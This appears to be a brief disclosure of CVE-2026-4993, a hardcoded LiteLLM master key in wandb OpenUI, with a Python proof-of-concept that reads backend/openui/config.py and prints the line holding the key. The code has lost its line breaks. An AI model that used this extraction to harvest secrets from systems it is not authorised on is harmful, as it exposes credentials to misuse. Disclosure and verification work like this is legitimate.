CVE-2026-4993 wandb OpenUI硬编码凭证漏洞

# Proof of Concept for CVE-2026-4993 # This script demonstrates extracting the hardcoded key from the config file. # Requirement: Local read access to the backend/openui/config.py file. import os def check_harcoded_creds(file_path): print(f"[*] Checking {file_path} for hardcoded credentials...") try: if os.path.exists(file_path): with open(file_path, 'r') as f: content = f.read() # Check if the vulnerable variable exists if 'LITELLM_MASTER_KEY' in content: print("[+] Vulnerability Found: LITELLM_MASTER_KEY detected.") for line in content.splitlines(): # Extract the line containing the key for demonstration if 'LITELLM_MASTER_KEY' in line and '=' in line: print(f"[+] Extracted Data: {line.strip()}") else: print("[-] Vulnerable pattern not found.") else: print(f"[-] File {file_path} does not exist.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Path based on the vulnerability description target_path = "backend/openui/config.py" check_harcoded_creds(target_path)